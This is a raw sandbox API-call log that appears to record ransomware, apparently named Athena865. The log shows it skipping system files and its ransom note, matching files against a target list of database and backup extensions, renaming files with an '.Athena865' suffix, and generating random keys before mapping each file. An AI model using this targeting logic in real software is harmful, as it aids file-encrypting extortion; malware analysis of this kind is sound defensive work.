lstrlenW (lpString="db-wal") returned 6 [0046.657] lstrcmpiW (lpString1="ES.dll", lpString2="db-wal") returned 1 [0046.657] lstrlenW (lpString="dbc") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.658] lstrlenW (lpString="dbs") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.658] lstrlenW (lpString="dbt") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.658] lstrlenW (lpString="dbv") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.658] lstrlenW (lpString="dbx") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.658] lstrlenW (lpString="dcb") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.658] lstrlenW (lpString="dct") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.658] lstrlenW (lpString="dcx") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.658] lstrlenW (lpString="ddl") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.658] lstrlenW (lpString="dlis") returned 4 [0046.658] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.658] lstrlenW (lpString="dp1") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.658] lstrlenW (lpString="dqy") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.658] lstrlenW (lpString="dsk") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.658] lstrlenW (lpString="dsn") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.658] lstrlenW (lpString="dtsx") returned 4 [0046.658] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.658] lstrlenW (lpString="dxl") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.658] lstrlenW (lpString="eco") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.658] lstrlenW (lpString="ecx") returned 3 [0046.658] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.658] lstrlenW (lpString="edb") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.659] lstrlenW (lpString="epim") returned 4 [0046.659] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.659] lstrlenW (lpString="fcd") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.659] lstrlenW (lpString="fdb") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.659] lstrlenW (lpString="fic") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.659] lstrlenW (lpString="flexolibrary") returned 12 [0046.659] lstrlenW (lpString="fm5") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.659] lstrlenW (lpString="fmp") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.659] lstrlenW (lpString="fmp12") returned 5 [0046.659] lstrcmpiW (lpString1="S.dll", lpString2="fmp12") returned 1 [0046.659] lstrlenW (lpString="fmpsl") returned 5 [0046.659] lstrcmpiW (lpString1="S.dll", lpString2="fmpsl") returned 1 [0046.659] lstrlenW (lpString="fol") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.659] lstrlenW (lpString="fp3") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.659] lstrlenW (lpString="fp4") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.659] lstrlenW (lpString="fp5") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.659] lstrlenW (lpString="fp7") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.659] lstrlenW (lpString="fpt") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.659] lstrlenW (lpString="frm") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.659] lstrlenW (lpString="gdb") returned 3 [0046.659] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.659] lstrlenW (lpString="gdb") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.660] lstrlenW (lpString="grdb") returned 4 [0046.660] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.660] lstrlenW (lpString="gwi") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.660] lstrlenW (lpString="hdb") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.660] lstrlenW (lpString="his") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.660] lstrlenW (lpString="ib") returned 2 [0046.660] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.660] lstrlenW (lpString="idb") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.660] lstrlenW (lpString="ihx") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.660] lstrlenW (lpString="itdb") returned 4 [0046.660] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.660] lstrlenW (lpString="itw") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.660] lstrlenW (lpString="jet") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.660] lstrlenW (lpString="jtx") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.660] lstrlenW (lpString="kdb") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.660] lstrlenW (lpString="kexi") returned 4 [0046.660] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.660] lstrlenW (lpString="kexic") returned 5 [0046.660] lstrcmpiW (lpString1="S.dll", lpString2="kexic") returned 1 [0046.660] lstrlenW (lpString="kexis") returned 5 [0046.660] lstrcmpiW (lpString1="S.dll", lpString2="kexis") returned 1 [0046.660] lstrlenW (lpString="lgc") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.660] lstrlenW (lpString="lwx") returned 3 [0046.660] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.661] lstrlenW (lpString="maf") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.661] lstrlenW (lpString="maq") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.661] lstrlenW (lpString="mar") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.661] lstrlenW (lpString="marshal") returned 7 [0046.661] lstrcmpiW (lpString1="RES.dll", lpString2="marshal") returned 1 [0046.661] lstrlenW (lpString="mas") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.661] lstrlenW (lpString="mav") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.661] lstrlenW (lpString="maw") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.661] lstrlenW (lpString="mdbhtml") returned 7 [0046.661] lstrcmpiW (lpString1="RES.dll", lpString2="mdbhtml") returned 1 [0046.661] lstrlenW (lpString="mdn") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.661] lstrlenW (lpString="mdt") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.661] lstrlenW (lpString="mfd") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.661] lstrlenW (lpString="mpd") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.661] lstrlenW (lpString="mrg") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.661] lstrlenW (lpString="mud") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.661] lstrlenW (lpString="mwb") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.661] lstrlenW (lpString="myd") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.661] lstrlenW (lpString="ndf") returned 3 [0046.661] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.661] lstrlenW (lpString="nnt") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.662] lstrlenW (lpString="nrmlib") returned 6 [0046.662] lstrcmpiW (lpString1="ES.dll", lpString2="nrmlib") returned -1 [0046.662] lstrlenW (lpString="ns2") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.662] lstrlenW (lpString="ns3") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.662] lstrlenW (lpString="ns4") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.662] lstrlenW (lpString="nsf") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.662] lstrlenW (lpString="nv") returned 2 [0046.662] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.662] lstrlenW (lpString="nv2") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.662] lstrlenW (lpString="nwdb") returned 4 [0046.662] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.662] lstrlenW (lpString="nyf") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.662] lstrlenW (lpString="odb") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.662] lstrlenW (lpString="odb") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.662] lstrlenW (lpString="oqy") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.662] lstrlenW (lpString="ora") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.662] lstrlenW (lpString="orx") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.662] lstrlenW (lpString="owc") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.662] lstrlenW (lpString="p96") returned 3 [0046.662] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.662] lstrlenW (lpString="p97") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.663] lstrlenW (lpString="pan") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.663] lstrlenW (lpString="pdb") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.663] lstrlenW (lpString="pdm") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.663] lstrlenW (lpString="pnz") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.663] lstrlenW (lpString="qry") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.663] lstrlenW (lpString="qvd") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.663] lstrlenW (lpString="rbf") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.663] lstrlenW (lpString="rctd") returned 4 [0046.663] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.663] lstrlenW (lpString="rod") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.663] lstrlenW (lpString="rodx") returned 4 [0046.663] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.663] lstrlenW (lpString="rpd") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.663] lstrlenW (lpString="rsd") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.663] lstrlenW (lpString="sas7bdat") returned 8 [0046.663] lstrcmpiW (lpString1="ERES.dll", lpString2="sas7bdat") returned -1 [0046.663] lstrlenW (lpString="sbf") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.663] lstrlenW (lpString="scx") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.663] lstrlenW (lpString="sdb") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.663] lstrlenW (lpString="sdc") returned 3 [0046.663] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.664] lstrlenW (lpString="sdf") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.664] lstrlenW (lpString="sis") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.664] lstrlenW (lpString="spq") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.664] lstrlenW (lpString="te") returned 2 [0046.664] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.664] lstrlenW (lpString="teacher") returned 7 [0046.664] lstrcmpiW (lpString1="RES.dll", lpString2="teacher") returned -1 [0046.664] lstrlenW (lpString="tmd") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.664] lstrlenW (lpString="tps") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.664] lstrlenW (lpString="trc") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.664] lstrlenW (lpString="trc") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.664] lstrlenW (lpString="trm") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.664] lstrlenW (lpString="udb") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.664] lstrlenW (lpString="udl") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.664] lstrlenW (lpString="usr") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.664] lstrlenW (lpString="v12") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.664] lstrlenW (lpString="vis") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.664] lstrlenW (lpString="vpd") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.664] lstrlenW (lpString="vvv") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.664] lstrlenW (lpString="wdb") returned 3 [0046.664] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.665] lstrlenW (lpString="wmdb") returned 4 [0046.665] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.665] lstrlenW (lpString="wrk") returned 3 [0046.665] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.665] lstrlenW (lpString="xdb") returned 3 [0046.665] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.665] lstrlenW (lpString="xld") returned 3 [0046.665] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.665] lstrlenW (lpString="xmlff") returned 5 [0046.665] lstrcmpiW (lpString1="S.dll", lpString2="xmlff") returned -1 [0046.665] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll.Athena865") returned 57 [0046.665] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll.athena865"), dwFlags=0x1) returned 1 [0046.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.666] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2836992) returned 1 [0046.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.667] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.667] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.667] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b4d00, lpName=0x0) returned 0x154 [0046.668] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xb4d00) returned 0x2d50000 [0046.701] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2e10000 [0046.790] UnmapViewOfFile (lpBaseAddress=0x2e10000) returned 1 [0046.808] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.808] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.808] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.809] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0046.815] CloseHandle (hObject=0x154) returned 1 [0046.815] CloseHandle (hObject=0x17c) returned 1 [0046.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.868] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2=".") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="..") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="windows") returned -1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="bootmgr") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="temp") returned -1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="pagefile.sys") returned -1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="boot") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="ids.txt") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="ntuser.dat") returned 1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="perflogs") returned -1 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2="MSBuild") returned 1 [0046.868] lstrlenW (lpString="oeimport.dll") returned 12 [0046.868] lstrcpyW (in: lpString1=0x241e890, lpString2="oeimport.dll" | out: lpString1="oeimport.dll") returned="oeimport.dll" [0046.868] lstrlenW (lpString="oeimport.dll") returned 12 [0046.868] lstrlenW (lpString="Athena865") returned 9 [0046.868] lstrcmpiW (lpString1="mport.dll", lpString2="Athena865") returned 1 [0046.868] lstrlenW (lpString=".dll") returned 4 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2=".dll") returned 1 [0046.868] lstrlenW (lpString=".lnk") returned 4 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2=".lnk") returned 1 [0046.868] lstrlenW (lpString=".ini") returned 4 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2=".ini") returned 1 [0046.868] lstrlenW (lpString=".sys") returned 4 [0046.868] lstrcmpiW (lpString1="oeimport.dll", lpString2=".sys") returned 1 [0046.868] lstrlenW (lpString="oeimport.dll") returned 12 [0046.868] lstrlenW (lpString="bak") returned 3 [0046.868] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.868] lstrlenW (lpString="ba_") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.869] lstrlenW (lpString="dbb") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.869] lstrlenW (lpString="vmdk") returned 4 [0046.869] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.869] lstrlenW (lpString="rar") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.869] lstrlenW (lpString="zip") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.869] lstrlenW (lpString="tgz") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.869] lstrlenW (lpString="vbox") returned 4 [0046.869] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.869] lstrlenW (lpString="vdi") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.869] lstrlenW (lpString="vhd") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.869] lstrlenW (lpString="vhdx") returned 4 [0046.869] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.869] lstrlenW (lpString="avhd") returned 4 [0046.869] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.869] lstrlenW (lpString="db") returned 2 [0046.869] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.869] lstrlenW (lpString="db2") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.869] lstrlenW (lpString="db3") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.869] lstrlenW (lpString="dbf") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.869] lstrlenW (lpString="mdf") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.869] lstrlenW (lpString="mdb") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.869] lstrlenW (lpString="sql") returned 3 [0046.869] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.869] lstrlenW (lpString="sqlite") returned 6 [0046.869] lstrcmpiW (lpString1="rt.dll", lpString2="sqlite") returned -1 [0046.869] lstrlenW (lpString="sqlite3") returned 7 [0046.869] lstrcmpiW (lpString1="ort.dll", lpString2="sqlite3") returned -1 [0046.869] lstrlenW (lpString="sqlitedb") returned 8 [0046.870] lstrcmpiW (lpString1="port.dll", lpString2="sqlitedb") returned -1 [0046.870] lstrlenW (lpString="xml") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.870] lstrlenW (lpString="$er") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.870] lstrlenW (lpString="4dd") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.870] lstrlenW (lpString="4dl") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.870] lstrlenW (lpString="^^^") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.870] lstrlenW (lpString="abs") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.870] lstrlenW (lpString="abx") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.870] lstrlenW (lpString="accdb") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0046.870] lstrlenW (lpString="accdc") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0046.870] lstrlenW (lpString="accde") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0046.870] lstrlenW (lpString="accdr") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0046.870] lstrlenW (lpString="accdt") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0046.870] lstrlenW (lpString="accdw") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0046.870] lstrlenW (lpString="accft") returned 5 [0046.870] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0046.870] lstrlenW (lpString="adb") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.870] lstrlenW (lpString="adb") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.870] lstrlenW (lpString="ade") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.870] lstrlenW (lpString="adf") returned 3 [0046.870] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.870] lstrlenW (lpString="adn") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.871] lstrlenW (lpString="adp") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.871] lstrlenW (lpString="alf") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.871] lstrlenW (lpString="ask") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.871] lstrlenW (lpString="btr") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.871] lstrlenW (lpString="cat") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.871] lstrlenW (lpString="cdb") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.871] lstrlenW (lpString="ckp") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.871] lstrlenW (lpString="cma") returned 3 [0046.871] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.871] lstrlenW (lpString="cpd") returned 3 